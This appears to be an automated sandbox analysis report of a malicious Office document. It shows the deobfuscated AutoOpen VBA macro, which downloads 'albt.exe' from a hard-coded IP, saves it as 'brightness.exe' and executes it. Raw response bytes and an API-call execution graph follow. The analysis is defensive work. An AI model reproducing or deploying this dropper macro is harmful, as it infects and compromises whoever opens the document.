                                                                                                                                                        		IServerXMLHTTPRequest2.responsebody() -> ?P\x02\x00\x04\x0f?\x00\xfffd\x00\x00\x00@\x1a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\x00????????????????4???????????\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00?\x00O ??\x00\x00\x00\x00\xfffd?c??\x06?\x0f\x00\x00?\x06?\x00?\x06\x00@?\x00?\x00\x04\x00\x00\x00\x04\x00\x00\x00?\x16?\x00\x00\x00\x02\x00\x00\x10?\x00\x00\x10?\x00\x00\x00\x10\x00\x00\x00\x00\x00?\x06?\x00?\x07?\x0f\x00\x00\x00\x00\x00\x00\x00\x00?\x06?\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00?\x06\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00?\x06?\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00??t\x00?\x06?\x00?\x06?\x00\x00\x00\x00\x00\x00\x00 ????\x00?\x00 \x06?\x00?\x06\x00\x00\x00\x00\x00\x00 ???a\x00?\x00?\x06 \x00?\x06\x00\x00\x00\x00\x00\x00@???\x00\x00?\x00?\x06\x00\x00?\x06\x00\x00\x00\x00\x00\x00\x00????\x00?\x00?\x06?\x00?\x06\x00\x00\x00\x00\x00\x00@???\x00\x004\x00?\x06\x00\x00?\x06\x00\x00\x00\x00\x00\x00\x00????\x00\x18\x00?\x06?\x00?\x06\x00\x00\x00\x00\x00\x00@????\x00?\x00?\x06?\x00?\x06\x00\x00\x00\x00\x00\x00@???c\x00?\x0f?\x07?\x0f?\x06\x00\x00\x00\x00\x00\x00@?\x00\x00\x00\x00\x00\x00?\x16\x00\x00?\x16\x00\x00\x00\x00\x00\x00@?\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00?@????U\x00\x00\x01\x00?@??????@?@???\x01\x00?\x00??@?????\x00?????@???\x01\x00?\x00??@???\x03\x00?\xfffd??@?????\x05\x00????@?????@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00?@\x04\x00\x00\x00?@?@?@?@?@?@?@?@?????@??????\x00\x00\x00????\x00?@??????\x00\x00\x01\x00\x00\x00?\x00\x00\x00????\x03?????P????P????P???????A\x00\x00\x00\x00\x00?\x00\x00\x00???\x00\x00\x00?@?@?@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00?@\x0c\x00?@?@?@?@?@?@?@?@?@????????????F???F???F???F???F???F???F???F???F???F???F???F???F???F???F???F???F???F???F???F???F???F???F???F???F???F???F???F???F???F???F???F???F???F???F????\x00?????I??????????F???F???F???F???W\x00?????????????????`????????\xfffd????????????????t???@?????????@???????????????@?????????????????????@???????????????@???????????????????????????????????????@???????????????????????????????????????????????????@?C????I????????????????@?A???I??????????????????F??????????F?????? ?????\x00???\x03????\x03???F????????????F?????\x00????F?\x00??? ????F?????????????????????\x0b???????????\x00?????F??????F?????????h\x10?\x00\x14j?????????????F????\xfffd?????\x02\x00??????????F??????????????F????????????????????F????????????\x10\x01???\x00??h??j???????????????F??F??F?????\x00????????????????h????????????????\x00?????? ???F??\x00???????F????????????????f??????A????C??\x03?????????\x03??\xfffd\x01?????\xfffd\x01?????\xfffd\x01?????j???A\x00??????????????F??A\x00???F?j???A\x00???F????????u??F????\x00\x00?????????F??????????????????F??????\x01???????????????????F????F????\x00??????F??F???????????F???????????F????\x01\x00????????????\x03????\xfffd\x01?????????\xfffd\x01???????????????\x01??\x00?\xfffd??????????????????F???????????? ????????????????F???????F??F??????????\x00???????????????????F??-?????????????????\x00??????????????\x00??????????????????\x00??????????????????????????\x03?????????????????????????\xfffd\x01?????????\xfffd\x01?????????????\xfffd\x01?????????\xfffd\x01??????????????\x00?????????\x00????????????\x13?????????????\x00?????????\x00???????a??\x0b????????F?\x13??????????\x00h?????????????\x13????\x02\x00??F?\x13??F??F???????????????????\x00????????@\x00????????????????????????? ???????????????????????????????????\x02????l??????\x00??????????\x00???\x00?\xfffd\x00?\x0b??\x00?\xfffd????????\x00?\xfffd\x01??????j???\xfffd\x01????????????\x00????????????????jU??\x0b???????????\x00????????F????????????????????????????\x00??????\x00???\x00?\xfffd\x01???????????\xfffd\x01?????????????\x00????????????\x00??????????Q?????\xfffd\x00%????????????????????\x0b?c????????\x00???????\x00??A????????????????????????????????????\x00??????A??????????????????????????????????????????????????????????????????@?x???????????\x04???????????????????????????@??F????????\xfffd???????????????F???@????????????????????????????????|????????????????????????????????????????????????????????????????????????????????\xfffd?????????????\x7f???????????????????????????\x1f???????????????@??????\x0c?s????????????????????????????????????\x00?????\xfffd????????\xfffd\x10?????????????????u?????????R???z?????????@????????\x00\x01????H???????????F????????????????????F?????????\x00??h\x10?\x00\x01j????F??F???@??????????????F???F???????????\x00?????F????^?????????????????????7???????\x00?????????????????????\xfffd?????????\xfffd\x00???\xfffd??\x00???????\x00??????????????\x00???A\x00?\xfffd\x00?????????\x00?????????????????????????????????????????\xfffd???8??\x00??\x02\x00???????\xfffd\x00??\xfffd\x00??????????????????????????\x00?????????????????\x01? ??????\x00? ??????????F?\x00????????????\x00???\x00???????????\x00???????????????\xfffd????????????????????????????????????????\xfffd???????????????????F?????\x00??????\x02???\xfffd??????????(\x00???????\x00???????????????\xfffd???????\xfffd?\x00??????????\x01?>?\xfffd\x00??????@?\x00???????????\xfffd?f?f?????????f?f?f??????????@?\x00???????????? ??K??????\x07\x00???????@?\x00????????????\x00???????????f?f?f???????????????????????\x00???@????????\xfffd???????????????@?\x00??????????????\x00\x00?????????? ????????????????????\x03\x00????-\x00??????j??????\x00????????????????????\x00\x00??????????????????? ???\xfffd\x00\x00???n???\x00?????????????????????????????\xfffd\x00\x00?\x00???????????\x00????????\x00???????????????????????????7\x00???;???@??????????\x01\x00??????\xfffd\x00%????\x0b???\x00?\x04?????\x07\x00???????????????????\x00?\xfffd?????\x00??s??\xfffd??P\x00???????????%??????????????F?F??F?F\xfffd\x04??F???????????????????@??h???F????h?????????7\x00?????????\x01\x00????????\xfffd\x04??F?????????

                                                                                                                                                        Shell

                                                                                                                                                        		Shell(""brightness.exe"") -> 8092
                                                                                                                                                        StringsDecrypted Strings
                                                                                                                                                        "M""S""X""M""L""2"".""S""er""ver""XM""LH""TTP"
                                                                                                                                                        "Ad""od""b.S""tr""ea""m"
                                                                                                                                                        "h"
                                                                                                                                                        "t"
                                                                                                                                                        "t""p:/""/147.124.216.113/albt"
                                                                                                                                                        "."
                                                                                                                                                        "e"
                                                                                                                                                        "x"
                                                                                                                                                        "e"
                                                                                                                                                        "GET"
                                                                                                                                                        "brightness"
                                                                                                                                                        "."
                                                                                                                                                        "e"
                                                                                                                                                        "x"
                                                                                                                                                        "e"
                                                                                                                                                        """brightness"
                                                                                                                                                        "."
                                                                                                                                                        "e"
                                                                                                                                                        "x"
                                                                                                                                                        "e"""
                                                                                                                                                        LineInstructionMeta Information
                                                                                                                                                        9

                                                                                                                                                        Sub AutoOpen()

                                                                                                                                                        11

                                                                                                                                                        Dim xHttp

                                                                                                                                                        executed
                                                                                                                                                        16

                                                                                                                                                        Set xHttp = CreateObject("M" & "S" & "X" & "M" & "L" & "2" & "." & "S" & "er" & "ver" & "XM" & "LH" & "TTP")

                                                                                                                                                        CreateObject("MSXML2.ServerXMLHTTP")

                                                                                                                                                        executed
                                                                                                                                                        18

                                                                                                                                                        Dim bStrm

                                                                                                                                                        20

                                                                                                                                                        Set bStrm = CreateObject("Ad" & "od" & "b.S" & "tr" & "ea" & "m")

                                                                                                                                                        CreateObject("Adodb.Stream")

                                                                                                                                                        executed
                                                                                                                                                        24

                                                                                                                                                        Dim nirm1

                                                                                                                                                        25

                                                                                                                                                        nirm1 = "h"

                                                                                                                                                        26

                                                                                                                                                        Dim nirm2

                                                                                                                                                        27

                                                                                                                                                        nirm2 = "t"

                                                                                                                                                        28

                                                                                                                                                        Dim nirm3

                                                                                                                                                        29

                                                                                                                                                        nirm3 = "t" & "p:/" & "/147.124.216.113/albt"

                                                                                                                                                        30

                                                                                                                                                        Dim nirm4

                                                                                                                                                        31

                                                                                                                                                        nirm4 = "."

                                                                                                                                                        32

                                                                                                                                                        Dim nirm5

                                                                                                                                                        33

                                                                                                                                                        nirm5 = "e"

                                                                                                                                                        34

                                                                                                                                                        Dim nirm6

                                                                                                                                                        35

                                                                                                                                                        nirm6 = "x"

                                                                                                                                                        36

                                                                                                                                                        Dim nirm7

                                                                                                                                                        37

                                                                                                                                                        nirm7 = "e"

                                                                                                                                                        41

                                                                                                                                                        Dim plpl

                                                                                                                                                        42

                                                                                                                                                        plpl = nirm1 & nirm2 & nirm3 & nirm4 & nirm5 & nirm6 & nirm7

                                                                                                                                                        45

                                                                                                                                                        xHttp.Open "GET", plpl, False

                                                                                                                                                        IServerXMLHTTPRequest2.Open("GET","http://147.124.216.113/albt.exe",False)

                                                                                                                                                        executed
                                                                                                                                                        46

                                                                                                                                                        xHttp.Send

                                                                                                                                                        Send

                                                                                                                                                        52

                                                                                                                                                        With bStrm

                                                                                                                                                        53

                                                                                                                                                        . Type = 1

                                                                                                                                                        54

                                                                                                                                                        . Open

                                                                                                                                                        55

                                                                                                                                                        . write xHttp.responsebody

                                                                                                                                                        IServerXMLHTTPRequest2.responsebody() -> ?P\x02\x00\x04\x0f?\x00\xfffd\x00\x00\x00@\x1a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\x00????????????????4???????????\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00?\x00O ??\x00\x00\x00\x00\xfffd?c??\x06?\x0f\x00\x00?\x06?\x00?\x06\x00@?\x00?\x00\x04\x00\x00\x00\x04\x00\x00\x00?\x16?\x00\x00\x00\x02\x00\x00\x10?\x00\x00\x10?\x00\x00\x00\x10\x00\x00\x00\x00\x00?\x06?\x00?\x07?\x0f\x00\x00\x00\x00\x00\x00\x00\x00?\x06?\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00?\x06\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00?\x06?\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00??t\x00?\x06?\x00?\x06?\x00\x00\x00\x00\x00\x00\x00 ????\x00?\x00 \x06?\x00?\x06\x00\x00\x00\x00\x00\x00 ???a\x00?\x00?\x06 \x00?\x06\x00\x00\x00\x00\x00\x00@???\x00\x00?\x00?\x06\x00\x00?\x06\x00\x00\x00\x00\x00\x00\x00????\x00?\x00?\x06?\x00?\x06\x00\x00\x00\x00\x00\x00@???\x00\x004\x00?\x06\x00\x00?\x06\x00\x00\x00\x00\x00\x00\x00????\x00\x18\x00?\x06?\x00?\x06\x00\x00\x00\x00\x00\x00@????\x00?\x00?\x06?\x00?\x06\x00\x00\x00\x00\x00\x00@???c\x00?\x0f?\x07?\x0f?\x06\x00\x00\x00\x00\x00\x00@?\x00\x00\x00\x00\x00\x00?\x16\x00\x00?\x16\x00\x00\x00\x00\x00\x00@?\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00?@????U\x00\x00\x01\x00?@??????@?@???\x01\x00?\x00??@?????\x00?????@???\x01\x00?\x00??@???\x03\x00?\xfffd??@?????\x05\x00????@?????@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00?@\x04\x00\x00\x00?@?@?@?@?@?@?@?@?????@??????\x00\x00\x00????\x00?@??????\x00\x00\x01\x00\x00\x00?\x00\x00\x00????\x03?????P????P????P???????A\x00\x00\x00\x00\x00?\x00\x00\x00???\x00\x00\x00?@?@?@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00?@\x0c\x00?@?@?@?@?@?@?@?@?@????????????F???F???F???F???F???F???F???F???F???F???F???F???F???F???F???F???F???F???F???F???F???F???F???F???F???F???F???F???F???F???F???F???F???F???F????\x00?????I??????????F???F???F???F???W\x00?????????????????`????????\xfffd????????????????t???@?????????@???????????????@?????????????????????@???????????????@???????????????????????????????????????@???????????????????????????????????????????????????@?C????I????????????????@?A???I??????????????????F??????????F?????? ?????\x00???\x03????\x03???F????????????F?????\x00????F?\x00??? ????F?????????????????????\x0b???????????\x00?????F??????F?????????h\x10?\x00\x14j?????????????F????\xfffd?????\x02\x00??????????F??????????????F????????????????????F????????????\x10\x01???\x00??h??j???????????????F??F??F?????\x00????????????????h????????????????\x00?????? ???F??\x00???????F????????????????f??????A????C??\x03?????????\x03??\xfffd\x01?????\xfffd\x01?????\xfffd\x01?????j???A\x00??????????????F??A\x00???F?j???A\x00???F????????u??F????\x00\x00?????????F??????????????????F??????\x01???????????????????F????F????\x00??????F??F???????????F???????????F????\x01\x00????????????\x03????\xfffd\x01?????????\xfffd\x01???????????????\x01??\x00?\xfffd??????????????????F???????????? ????????????????F???????F??F??????????\x00???????????????????F??-?????????????????\x00??????????????\x00??????????????????\x00??????????????????????????\x03?????????????????????????\xfffd\x01?????????\xfffd\x01?????????????\xfffd\x01?????????\xfffd\x01??????????????\x00?????????\x00????????????\x13?????????????\x00?????????\x00???????a??\x0b????????F?\x13??????????\x00h?????????????\x13????\x02\x00??F?\x13??F??F???????????????????\x00????????@\x00????????????????????????? ???????????????????????????????????\x02????l??????\x00??????????\x00???\x00?\xfffd\x00?\x0b??\x00?\xfffd????????\x00?\xfffd\x01??????j???\xfffd\x01????????????\x00????????????????jU??\x0b???????????\x00????????F????????????????????????????\x00??????\x00???\x00?\xfffd\x01???????????\xfffd\x01?????????????\x00????????????\x00??????????Q?????\xfffd\x00%????????????????????\x0b?c????????\x00???????\x00??A????????????????????????????????????\x00??????A??????????????????????????????????????????????????????????????????@?x???????????\x04???????????????????????????@??F????????\xfffd???????????????F???@????????????????????????????????|????????????????????????????????????????????????????????????????????????????????\xfffd?????????????\x7f???????????????????????????\x1f???????????????@??????\x0c?s????????????????????????????????????\x00?????\xfffd????????\xfffd\x10?????????????????u?????????R???z?????????@????????\x00\x01????H???????????F????????????????????F?????????\x00??h\x10?\x00\x01j????F??F???@??????????????F???F???????????\x00?????F????^?????????????????????7???????\x00?????????????????????\xfffd?????????\xfffd\x00???\xfffd??\x00???????\x00??????????????\x00???A\x00?\xfffd\x00?????????\x00?????????????????????????????????????????\xfffd???8??\x00??\x02\x00???????\xfffd\x00??\xfffd\x00??????????????????????????\x00?????????????????\x01? ??????\x00? ??????????F?\x00????????????\x00???\x00???????????\x00???????????????\xfffd????????????????????????????????????????\xfffd???????????????????F?????\x00??????\x02???\xfffd??????????(\x00???????\x00???????????????\xfffd???????\xfffd?\x00??????????\x01?>?\xfffd\x00??????@?\x00???????????\xfffd?f?f?????????f?f?f??????????@?\x00???????????? ??K??????\x07\x00???????@?\x00????????????\x00???????????f?f?f???????????????????????\x00???@????????\xfffd???????????????@?\x00??????????????\x00\x00?????????? ????????????????????\x03\x00????-\x00??????j??????\x00????????????????????\x00\x00??????????????????? ???\xfffd\x00\x00???n???\x00?????????????????????????????\xfffd\x00\x00?\x00???????????\x00????????\x00???????????????????????????7\x00???;???@??????????\x01\x00??????\xfffd\x00%????\x0b???\x00?\x04?????\x07\x00???????????????????\x00?\xfffd?????\x00??s??\xfffd??P\x00???????????%??????????????F?F??F?F\xfffd\x04??F???????????????????@??h???F????h?????????7\x00?????????\x01\x00????????\xfffd\x04??F?????????

                                                                                                                                                        executed
                                                                                                                                                        59

                                                                                                                                                        Dim monu1

                                                                                                                                                        60

                                                                                                                                                        monu1 = "brightness"

                                                                                                                                                        61

                                                                                                                                                        Dim monu2

                                                                                                                                                        62

                                                                                                                                                        monu2 = "."

                                                                                                                                                        64

                                                                                                                                                        Dim monu3

                                                                                                                                                        65

                                                                                                                                                        monu3 = "e"

                                                                                                                                                        67

                                                                                                                                                        Dim monu4

                                                                                                                                                        68

                                                                                                                                                        monu4 = "x"

                                                                                                                                                        70

                                                                                                                                                        Dim monu5

                                                                                                                                                        71

                                                                                                                                                        monu5 = "e"

                                                                                                                                                        73

                                                                                                                                                        Dim monu6

                                                                                                                                                        74

                                                                                                                                                        monu6 = monu1 & monu2 & monu3 & monu4 & monu5

                                                                                                                                                        77

                                                                                                                                                        . savetofile monu6, 2

                                                                                                                                                        80

                                                                                                                                                        Dim parveen1

                                                                                                                                                        81

                                                                                                                                                        Dim parveen2

                                                                                                                                                        82

                                                                                                                                                        Dim parveen3

                                                                                                                                                        83

                                                                                                                                                        Dim parveen4

                                                                                                                                                        84

                                                                                                                                                        Dim praveen1

                                                                                                                                                        85

                                                                                                                                                        praveen1 = """brightness"

                                                                                                                                                        86

                                                                                                                                                        Dim praveen2

                                                                                                                                                        87

                                                                                                                                                        praveen2 = "."

                                                                                                                                                        89

                                                                                                                                                        Dim praveen3

                                                                                                                                                        90

                                                                                                                                                        praveen3 = "e"

                                                                                                                                                        92

                                                                                                                                                        Dim praveen4

                                                                                                                                                        93

                                                                                                                                                        praveen4 = "x"

                                                                                                                                                        95

                                                                                                                                                        Dim praveen5

                                                                                                                                                        96

                                                                                                                                                        praveen5 = "e"""

                                                                                                                                                        101

                                                                                                                                                        Dim praveen6

                                                                                                                                                        102

                                                                                                                                                        praveen6 = praveen1 & praveen2 & praveen3 & praveen4 & praveen5

                                                                                                                                                        106

                                                                                                                                                        End With

                                                                                                                                                        108

                                                                                                                                                        Shell (praveen6)

                                                                                                                                                        Shell(""brightness.exe"") -> 8092

                                                                                                                                                        executed
                                                                                                                                                        110

                                                                                                                                                        End Sub

                                                                                                                                                        Reset < >

                                                                                                                                                          Execution Graph

                                                                                                                                                          Execution Coverage:16.7%
                                                                                                                                                          Dynamic/Decrypted Code Coverage:100%
                                                                                                                                                          Signature Coverage:30%
                                                                                                                                                          Total number of Nodes:1643
                                                                                                                                                          Total number of Limit Nodes:22
                                                                                                                                                          execution_graph 28144 28f4c9c 28145 28f4cc3 28144->28145 28146 28f4ca0 28144->28146 28147 28f4c60 28146->28147 28148 28f4cb3 SysReAllocStringLen 28146->28148 28149 28f4c66 SysFreeString 28147->28149 28150 28f4c74 28147->28150 28148->28145 28151 28f4c30 28148->28151 28149->28150 28152 28f4f3c 28151->28152 28153 28f4f26 SysAllocStringLen 28151->28153 28153->28151 28153->28152 28154 28f4edc 28155 28f4ee9 28154->28155 28159 28f4ef0 28154->28159 28160 28f4c38 28155->28160 28166 28f4c50 28159->28166 28161 28f4c4c 28160->28161 28162 28f4c3c SysAllocStringLen 28160->28162 28161->28159 28162->28161 28163 28f4c30 28162->28163 28164 28f4f3c 28163->28164 28165 28f4f26 SysAllocStringLen 28163->28165 28164->28159 28165->28163 28165->28164 28167 28f4c5c 28166->28167 28168 28f4c56 SysFreeString 28166->28168 28168->28167 28169 28f1c6c 28170 28f1c7c 28169->28170 28171 28f1d04 28169->28171 28174 28f1c89 28170->28174 28175 28f1cc0 28170->28175 28172 28f1d0d 28171->28172 28173 28f1f58 28171->28173 28177 28f1d25 28172->28177 28178 28f1e24 28172->28178 28176 28f1fec 28173->28176 28182 28f1fac 28173->28182 28183 28f1f68 28173->28183 28180 28f1c94 28174->28180 28217 28f1724 28174->28217 28179 28f1724 10 API calls 28175->28179 28184 28f1d2c 28177->28184 28191 28f1dfc 28177->28191 28192 28f1d48 28177->28192 28196 28f1e7c 28178->28196 28197 28f1e55 Sleep 28178->28197 28201 28f1e95 28178->28201 28193 28f1cd7 28179->28193 28187 28f1fb2 28182->28187 28188 28f1724 10 API calls 28182->28188 28185 28f1724 10 API calls 28183->28185 28206 28f1f82 28185->28206 28186 28f1724 10 API calls 28203 28f1f2c 28186->28203 28207 28f1fc1 28188->28207 28189 28f1cb9 28190 28f1ca1 28190->28189 28241 28f1a8c 28190->28241 28194 28f1724 10 API calls 28191->28194 28198 28f1d79 Sleep 28192->28198 28208 28f1d9c 28192->28208 28205 28f1a8c 8 API calls 28193->28205 28209 28f1cfd 28193->28209 28211 28f1e05 28194->28211 28195 28f1fa7 28196->28186 28196->28201 28197->28196 28199 28f1e6f Sleep 28197->28199 28200 28f1d91 Sleep 28198->28200 28198->28208 28199->28178 28200->28192 28203->28201 28210 28f1a8c 8 API calls 28203->28210 28204 28f1e1d 28205->28209 28206->28195 28212 28f1a8c 8 API calls 28206->28212 28207->28195 28213 28f1a8c 8 API calls 28207->28213 28214 28f1f50 28210->28214 28211->28204 28215 28f1a8c 8 API calls 28211->28215 28212->28195 28216 28f1fe4 28213->28216 28215->28204 28218 28f1968 28217->28218 28220 28f173c 28217->28220 28219 28f1a80 28218->28219 28221 28f1938 28218->28221 28222 28f1a89 28219->28222 28223 28f1684 VirtualAlloc 28219->28223 28224 28f174e 28220->28224 28229 28f17cb Sleep 28220->28229 28225 28f1947 Sleep 28221->28225 28234 28f1986 28221->28234 28222->28190 28226 28f16bf 28223->28226 28227 28f16af 28223->28227 28228 28f175d 28224->28228 28230 28f182c 28224->28230 28235 28f180a Sleep 28224->28235 28231 28f195d Sleep 28225->28231 28225->28234 28226->28190 28258 28f1644 28227->28258 28228->28190 28229->28224 28233 28f17e4 Sleep 28229->28233 28240 28f1838 28230->28240 28264 28f15cc 28230->28264 28231->28221 28233->28220 28236 28f15cc VirtualAlloc 28234->28236 28238 28f19a4 28234->28238 28235->28230 28237 28f1820 Sleep 28235->28237 28236->28238 28237->28224 28238->28190 28240->28190 28242 28f1b6c 28241->28242 28243 28f1aa1 28241->28243 28244 28f16e8 28242->28244 28245 28f1aa7 28242->28245 28243->28245 28248 28f1b13 Sleep 28243->28248 28247 28f1c66 28244->28247 28249 28f1644 2 API calls 28244->28249 28246 28f1ab0 28245->28246 28251 28f1b4b Sleep 28245->28251 28254 28f1b81 28245->28254 28246->28189 28247->28189 28248->28245 28250 28f1b2d Sleep 28248->28250 28252 28f16f5 VirtualFree 28249->28252 28250->28243 28253 28f1b61 Sleep 28251->28253 28251->28254 28255 28f170d 28252->28255 28253->28245 28256 28f1c00 VirtualFree 28254->28256 28257 28f1ba4 28254->28257 28255->28189 28256->28189 28257->28189 28259 28f1681 28258->28259 28260 28f164d 28258->28260 28259->28226 28260->28259 28261 28f164f Sleep 28260->28261 28262 28f1664 28261->28262 28262->28259 28263 28f1668 Sleep 28262->28263 28263->28260 28268 28f1560 28264->28268 28266 28f15d4 VirtualAlloc 28267 28f15eb 28266->28267 28267->28240 28269 28f1500 28268->28269 28269->28266 28270 2914134 29794 28f4860 28270->29794 29795 28f4871 29794->29795 29796 28f48ae 29795->29796 29797 28f4897 29795->29797 29812 28f45a0 29796->29812 29803 28f4bcc 29797->29803 29800 28f48a4 29801 28f48df 29800->29801 29817 28f4530 29800->29817 29804 28f4bd9 29803->29804 29805 28f4c09 29803->29805 29807 28f4c02 29804->29807 29810 28f4be5 29804->29810 29824 28f44dc 29805->29824 29808 28f45a0 11 API calls 29807->29808 29808->29805 29809 28f4bf3 29809->29800 29823 28f2c44 11 API calls 29810->29823 29813 28f45c8 29812->29813 29814 28f45a4 29812->29814 29813->29800 29837 28f2c10 29814->29837 29816 28f45b1 29816->29800 29818 28f4534 29817->29818 29819 28f4544 29817->29819 29818->29819 29821 28f45a0 11 API calls 29818->29821 29820 28f4572 29819->29820 29822 28f2c2c 11 API calls 29819->29822 29820->29801 29821->29819 29822->29820 29823->29809 29825 28f44e2 29824->29825 29827 28f44fd 29824->29827 29825->29827 29828 28f2c2c 29825->29828 29827->29809 29829 28f2c3a 29828->29829 29830 28f2c30 29828->29830 29829->29827 29830->29829 29831 28f2d19 29830->29831 29835 28f6520 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 29830->29835 29836 28f2ce8 7 API calls 29831->29836 29834 28f2d3a 29834->29827 29835->29831 29836->29834 29838 28f2c27 29837->29838 29840 28f2c14 29837->29840 29838->29816 29839 28f2c1e 29839->29816 29840->29839 29841 28f2d19 29840->29841 29845 28f6520 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 29840->29845 29846 28f2ce8 7 API calls 29841->29846 29844 28f2d3a 29844->29816 29845->29841 29846->29844 29847 2917244 29848 28f4860 11 API calls 29847->29848 29849 2917265 29848->29849 30664 28f47ec 29849->30664 29851 291729c 30679 290889c 29851->30679 29854 28f4860 11 API calls 29855 29172e1 29854->29855 29856 28f47ec 11 API calls 29855->29856 29857 2917318 29856->29857 29858 290889c 22 API calls 29857->29858 29859 291733c 29858->29859 29860 28f4860 11 API calls 29859->29860 29861 291735d 29860->29861 29862 28f47ec 11 API calls 29861->29862 29863 2917394 29862->29863 29864 290889c 22 API calls 29863->29864 29865 29173b8 29864->29865 29866 28f4860 11 API calls 29865->29866 29867 29173d9 29866->29867 29868 28f47ec 11 API calls 29867->29868 29869 2917410 29868->29869 29870 290889c 22 API calls 29869->29870 29871 2917434 29870->29871 29872 28f4860 11 API calls 29871->29872 29873 2917455 29872->29873 29874 28f47ec 11 API calls 29873->29874 29875 291748c 29874->29875 29876 290889c 22 API calls 29875->29876 29877 29174b0 29876->29877 29878 28f4860 11 API calls 29877->29878 29879 29174ea 29878->29879 30692 290e3ec 29879->30692 29881 2917519 30702 290f508 29881->30702 29884 28f4860 11 API calls 29885 2917569 29884->29885 29886 28f47ec 11 API calls 29885->29886 29887 29175a0 29886->29887 29888 290889c 22 API calls 29887->29888 29889 29175c4 29888->29889 29890 28f4860 11 API calls 29889->29890 29891 29175e5 29890->29891 29892 28f47ec 11 API calls 29891->29892 29893 291761c 29892->29893 29894 290889c 22 API calls 29893->29894 29895 2917640 29894->29895 29896 28f4860 11 API calls 29895->29896 29897 2917661 29896->29897 29898 28f47ec 11 API calls 29897->29898 29899 2917698 29898->29899 29900 290889c 22 API calls 29899->29900 29901 29176bc 29900->29901 29902 28f4860 11 API calls 29901->29902 29903 29176dd 29902->29903 29904 28f47ec 11 API calls 29903->29904 29905 2917714 29904->29905 29906 290889c 22 API calls 29905->29906 29907 2917738 29906->29907 29908 28f4860 11 API calls 29907->29908 29909 2917759 29908->29909 29910 28f47ec 11 API calls 29909->29910 29911 2917790 29910->29911 29912 290889c 22 API calls 29911->29912 29913 29177b4 29912->29913 29914 28f4860 11 API calls 29913->29914 29915 29177d5 29914->29915 29916 28f47ec 11 API calls 29915->29916 29917 291780c 29916->29917 29918 290889c 22 API calls 29917->29918 29919 2917830 29918->29919 29920 28f4860 11 API calls 29919->29920 29921 2917851 29920->29921 29922 28f47ec 11 API calls 29921->29922 29923 2917888 29922->29923 29924 290889c 22 API calls 29923->29924 29925 29178ac 29924->29925 29926 28f4860 11 API calls 29925->29926 29927 29178cd 29926->29927 29928 28f47ec 11 API calls 29927->29928 29929 2917904 29928->29929 29930 290889c 22 API calls 29929->29930 29931 2917928 29930->29931 29932 28f4860 11 API calls 29931->29932 29933 2917949 29932->29933 29934 28f47ec 11 API calls 29933->29934 29935 2917980 29934->29935 29936 290889c 22 API calls 29935->29936 29937 29179a4 29936->29937 29938 29179b9 29937->29938 29939 29184e8 29937->29939 29941 28f4860 11 API calls 29938->29941 29940 28f4860 11 API calls 29939->29940 29943 2918509 29940->29943 29942 29179da 29941->29942 29945 28f47ec 11 API calls 29942->29945 29944 28f47ec 11 API calls 29943->29944 29946 2918540 29944->29946 29947 2917a11 29945->29947 29948 290889c 22 API calls 29946->29948 29949 290889c 22 API calls 29947->29949 29950 2918564 29948->29950 29951 2917a35 29949->29951 29952 28f4860 11 API calls 29950->29952 29953 28f4860 11 API calls 29951->29953 29954 2918585 29952->29954 29955 2917a56 29953->29955 29957 28f47ec 11 API calls 29954->29957 29956 28f47ec 11 API calls 29955->29956 29959 2917a8d 29956->29959 29958 29185bc 29957->29958 29960 290889c 22 API calls 29958->29960 29961 290889c 22 API calls 29959->29961 29962 29185e0 29960->29962 29963 2917ab1 29961->29963 29964 28f4860 11 API calls 29962->29964 29965 28f4860 11 API calls 29963->29965 29966 2918601 29964->29966 29967 2917ad2 29965->29967 29968 28f47ec 11 API calls 29966->29968 29969 28f47ec 11 API calls 29967->29969 29970 2918638 29968->29970 29971 2917b09 29969->29971 29972 290889c 22 API calls 29970->29972 29973 290889c 22 API calls 29971->29973 29974 291865c 29972->29974 29975 2917b2d 29973->29975 29976 28f4860 11 API calls 29974->29976 29977 28f47ec 11 API calls 29975->29977 29979 291867d 29976->29979 29978 2917b45 29977->29978 31159 2908488 29978->31159 29982 28f47ec 11 API calls 29979->29982 29981 2917b56 29983 28f4860 11 API calls 29981->29983 29985 29186b4 29982->29985 29984 2917b77 29983->29984 29987 28f47ec 11 API calls 29984->29987 29986 290889c 22 API calls 29985->29986 29988 